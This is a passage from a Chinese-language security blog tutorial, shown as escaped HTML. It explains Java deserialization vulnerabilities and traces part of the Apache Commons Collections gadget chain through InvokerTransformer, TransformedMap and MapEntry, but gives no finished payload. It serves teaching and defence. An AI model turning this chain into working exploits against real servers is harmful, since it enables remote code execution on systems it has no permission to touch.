&lt;h2 id=&quot;1-漏洞原理&quot;&gt;&lt;a href=&quot;#1-漏洞原理&quot; class=&quot;headerlink&quot; title=&quot;1.漏洞原理&quot;&gt;&lt;/a&gt;1.漏洞原理&lt;/h2&gt;&lt;h3 id=&quot;1-1-Java序列化与反序列化&quot;&gt;&lt;a href=&quot;#1-1-Java序列化与反序列化&quot; class=&quot;headerlink&quot; title=&quot;1.1 Java序列化与反序列化&quot;&gt;&lt;/a&gt;1.1 Java序列化与反序列化&lt;/h3&gt;&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;简单的说，把对象转换为字节序列的过程称为对象的序列化。把字节序列恢复为对象的过程称为对象的反序列化。&lt;/p&gt;

&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;Java序列化的目的是为了将某些对象存储到磁盘上，从而长期保存，例如最常见的是Web服务器中的Session对象，当有 10万用户并发访问，就有可能出现10万个Session对象，内存可能吃不消，于是Web容器就会把一些seesion先序列化到硬盘中，等要用了，再把保存在硬盘中的对象还原到内存中。&lt;br&gt;或者当两个进程在进行远程通信时，彼此可以发送各种类型的数据。无论是何种类型的数据，都会以二进制序列的形式在网络上传送。发送方需要把这个Java对象转换为字节序列，才能在网络上传送；接收方则需要把字节序列再恢复为Java对象。&lt;br&gt;一个序列化与反序列化的典型场景如下：&lt;br&gt;&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;14&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;15&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;16&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;17&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;18&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;19&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;20&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;21&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;22&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;23&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;24&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;import java.io.FileInputStream;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;import java.io.FileOutputStream;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;import java.io.ObjectInputStream;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;import java.io.ObjectOutputStream;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;public class deserial &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; public static void main(String args[]) throws Exception &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; String obj = &amp;quot;hello world!&amp;quot;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; // 将序列化对象写入文件object.db中&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; FileOutputStream fos = new FileOutputStream(&amp;quot;object.db&amp;quot;);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; ObjectOutputStream os = new ObjectOutputStream(fos);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; os.writeObject(obj);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; os.close();&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; // 从文件object.db中读取数据&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; FileInputStream fis = new FileInputStream(&amp;quot;object.db&amp;quot;);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; ObjectInputStream ois = new ObjectInputStream(fis);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; // 通过反序列化恢复对象obj&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; String obj2 = (String)ois.readObject();&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; System.out.println(obj2);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; ois.close();&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; &amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;/p&gt;

&lt;a id=&quot;more&quot;&gt;&lt;/a&gt;

&lt;h2 id=&quot;1-2Java-反序列化漏洞&quot;&gt;&lt;a href=&quot;#1-2Java-反序列化漏洞&quot; class=&quot;headerlink&quot; title=&quot;1.2Java 反序列化漏洞&quot;&gt;&lt;/a&gt;1.2Java 反序列化漏洞&lt;/h2&gt;&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;Java 反序列化漏洞的核心在于，由于Java中的类ObjectInputStream在反序列化时，没有对生成的对象的类型做限制。在反序列化的时候不需要指定原来的数据类型即可进行反序列化。如下代码仍可以执行：&lt;br&gt;&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;14&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;15&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;16&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;17&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;18&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;19&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;20&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;21&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;import java.io.FileInputStream;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;import java.io.FileOutputStream;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;import java.io.ObjectInputStream;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;import java.io.ObjectOutputStream;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;public class deserial &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; public static void main(String args[]) throws Exception &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; String obj = &amp;quot;hello world!&amp;quot;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; // 将序列化对象写入文件object.db中&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; FileOutputStream fos = new FileOutputStream(&amp;quot;object.db&amp;quot;);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; ObjectOutputStream os = new ObjectOutputStream(fos);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; os.writeObject(obj);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; os.close();&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; // 从文件object.db中读取数据&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; FileInputStream fis = new FileInputStream(&amp;quot;object.db&amp;quot;);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; ObjectInputStream ois = new ObjectInputStream(fis);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; // 通过反序列化恢复对象obj&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; Object obj2 = ois.readObject();&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; System.out.println(obj2);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; ois.close();&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; &amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;/p&gt;

&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;那么对用户输入，即不可信数据做了反序列化处理，那么攻击者可以通过构造恶意输入，让反序列化产生非预期的对象，非预期的对象在产生过程中就有可能带来任意代码执行。&lt;/p&gt;

&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;反序列漏洞由来已久，PHP 和 Python 中也有同样的问题，而在 Java 中问题比较严重的原因是因为一些公用库，例如Apache Commons Collections中实现的一些类可以被反序列化用来实现任意代码执行。WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些应用的反序列化漏洞能够得以利用，就是依靠了Apache Commons Collections。&lt;br&gt;例如某些评论所说：&lt;br&gt;&lt;img src=&quot;http://i4.buimg.com/567571/e92c86dadfbb3033.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;

&lt;h2 id=&quot;1-3漏洞利用原理&quot;&gt;&lt;a href=&quot;#1-3漏洞利用原理&quot; class=&quot;headerlink&quot; title=&quot;1.3漏洞利用原理&quot;&gt;&lt;/a&gt;1.3漏洞利用原理&lt;/h2&gt;&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;该漏洞的出现的根源在CommonsCollections组件中对于集合的操作存在可以进行反射调用的方法,并且该方法在相关对象反序列化时并未进行任何校验,新版本的修复方案对相关反射调用进行了限制。&lt;/p&gt;

&lt;h3 id=&quot;1-3-1-InvokerTransformer-transform-实现程序执行&quot;&gt;&lt;a href=&quot;#1-3-1-InvokerTransformer-transform-实现程序执行&quot; class=&quot;headerlink&quot; title=&quot;1.3.1 InvokerTransformer.transform()实现程序执行&quot;&gt;&lt;/a&gt;1.3.1 InvokerTransformer.transform()实现程序执行&lt;/h3&gt;&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;问题函数主要出现在org.apache.commons.collections.Transformer,我们可以看到Transformer接口定义了一个方法。&lt;br&gt;&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;14&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;public interface Transformer &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; /**&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; * Transforms the input object (leaving it unchanged) into some output object.&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; *&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; * @param input the object to be transformed, should be left unchanged&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; * @return a transformed object&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; * @throws ClassCastException (runtime) if the input is the wrong class&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; * @throws IllegalArgumentException (runtime) if the input is invalid&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; * @throws FunctorException (runtime) if the transform cannot be completed&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; */&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; public Object transform(Object input);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;/p&gt;

&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;该接口的作用是给定一个 Object 进行 transform 变换后返回新的 Object，我们看它的实现类：&lt;br&gt;&lt;img src=&quot;http://i1.piimg.com/567571/08a0898c8e213f96.png&quot; alt=&quot;&quot;&gt;&lt;br&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;其中接口的实现类InvokerTransformer的实现存在问题，我们看该类的transform 函数代码实现：&lt;br&gt;&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;14&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;15&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;16&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;17&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;18&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;19&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;20&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;21&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;22&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;23&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;/**&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; * Transforms the input to result by invoking a method on the input.&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; *&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; * @param input the input object to transform&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; * @return the transformed result, null if null input&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; */&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;public Object transform(Object input) &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; if (input == null) &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; return null;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; &amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; try &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; Class cls = input.getClass();&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; Method method = cls.getMethod(iMethodName, iParamTypes);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; return method.invoke(input, iArgs);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; &amp;#125; catch (NoSuchMethodException ex) &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; throw new FunctorException(&amp;quot;InvokerTransformer: The method &amp;apos;&amp;quot; + iMethodName + &amp;quot;&amp;apos; on &amp;apos;&amp;quot; + input.getClass() + &amp;quot;&amp;apos; does not exist&amp;quot;);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; &amp;#125; catch (IllegalAccessException ex) &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; throw new FunctorException(&amp;quot;InvokerTransformer: The method &amp;apos;&amp;quot; + iMethodName + &amp;quot;&amp;apos; on &amp;apos;&amp;quot; + input.getClass() + &amp;quot;&amp;apos; cannot be accessed&amp;quot;);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; &amp;#125; catch (InvocationTargetException ex) &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; throw new FunctorException(&amp;quot;InvokerTransformer: The method &amp;apos;&amp;quot; + iMethodName + &amp;quot;&amp;apos; on &amp;apos;&amp;quot; + input.getClass() + &amp;quot;&amp;apos; threw an exception&amp;quot;, ex);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; &amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;/p&gt;

&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;发现它可以用反射的方法进行函数调用input 对象的 iMethodName 函数，参数为 iArgs。同时可以看到它的这三个参数都是在构造函数中设置的，均为可控参数。&lt;/p&gt;

&lt;h3 id=&quot;1-3-2-TransformedMap-checkSetValue-gt-InvokerTransformer-transform&quot;&gt;&lt;a href=&quot;#1-3-2-TransformedMap-checkSetValue-gt-InvokerTransformer-transform&quot; class=&quot;headerlink&quot; title=&quot;1.3.2 TransformedMap.checkSetValue()-&amp;gt;InvokerTransformer.transform()&quot;&gt;&lt;/a&gt;1.3.2 TransformedMap.checkSetValue()-&amp;gt;InvokerTransformer.transform()&lt;/h3&gt;&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;我们知道InvokerTransformer这个类的 transformer 函数可以用来执行任意代码，我们需要找调用这个函数的位置。&lt;br&gt;&lt;img src=&quot;http://i1.piimg.com/567571/d7a54e4d5e624445.png&quot; alt=&quot;&quot;&gt;&lt;br&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;我们看到有很多类调用了这个函数，我们以 TransformedMap 为例子进行介绍。&lt;/p&gt;

&lt;h3 id=&quot;1-3-3-MapEntry-setValue-gt-TransformedMap-checkSetValue&quot;&gt;&lt;a href=&quot;#1-3-3-MapEntry-setValue-gt-TransformedMap-checkSetValue&quot; class=&quot;headerlink&quot; title=&quot;1.3.3 MapEntry.setValue()-&amp;gt;TransformedMap.checkSetValue()&quot;&gt;&lt;/a&gt;1.3.3 MapEntry.setValue()-&amp;gt;TransformedMap.checkSetValue()&lt;/h3&gt;&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; 我们看TransformedMap.checkSetValue()的函数定义如下：&lt;br&gt;&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;10&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;/**&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; * Override to transform the value when using &amp;lt;code&amp;gt;setValue&amp;lt;/code&amp;gt;.&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; *&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; * @param value the value to transform&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; * @return the transformed value&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; * @since Commons Collections 3.1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; */&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;protected Object checkSetValue(Object value) &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; return valueTransformer.transform(value);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;/p&gt;

&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; 我们在 eclipse 中查看它TransformedMap.checkSetValue()的调用栈发现它被MapEntry.setValue() 调用：&lt;br&gt;&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;14&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;15&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;16&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;17&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;18&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;/**&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; * Implementation of a map entry that checks additions via setValue.&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; */&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;static class MapEntry extends AbstractMapEntryDecorator &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; /** The parent map */&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; private final AbstractInputCheckedMapDecorator parent;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; super(entry);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; this.parent = parent;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; &amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; public Object setValue(Object value) &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; value = parent.checkSetValue(value);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; return entry.setValue(value);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; &amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;/p&gt;

&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; 在MapEntry.setValue() 中对 parent 进行了 checkSetValue AbstractInputCheckedMapDecorator 类型的parent 是在构造函数中进行设置的。&lt;/p&gt;

&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; TransformedMap是AbstractInputCheckedMapDecorator 的一个子类，只要将 parent 设置为恶意的对象即可。&lt;/p&gt;

